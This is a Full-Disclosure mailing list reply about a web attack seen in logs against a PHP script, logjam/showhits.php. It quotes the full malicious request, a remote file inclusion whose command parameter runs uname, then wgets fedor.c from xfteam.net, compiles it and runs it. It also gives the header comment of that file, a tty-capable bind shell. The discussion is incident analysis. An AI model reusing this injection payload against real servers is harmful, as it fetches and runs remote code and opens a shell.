Re: [Full-Disclosure] http://xfteam.net/fedor.c - Anyone seen this before??

["kang@insecure.ws" <kang@insecure.ws>]

Dan wrote:

> Is it just me or is xfteam.net not resolving anyway?
>
>  
xfteam.net has address 69.56.243.146

> Orignal HTTP request:
> GET /logjam/showhits.php?
> rel_path=http://xfteam.net/cmd.txt?&cmd=uname%20-a;cd%20/tmp;wget%20http://xfteam.net/fedor.c;gcc%20-o%20f%20fedor.c;./f?&cmd=uname%20-a;cd%20/tmp;wget%20http://xfteam.net/fedor.c;gcc%20-o%20f%20fedor.c;./f
>
> Breaking this down we get(twice):
> uname -a
> cd /tmp
> wget http://xfteam.net/fedor.c
> gcc -o f fedor.c
> ../f
>
>  

/*
        bindtty - like bindshell, but with tty

        Features:
                - it can handle any number of clients
                - allocates tty for each session
                - no using termios.h/tty.h: compiles on most of gccs
                - linux specific ;(
        
        by sd <sd@sf.cz>
*/



_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html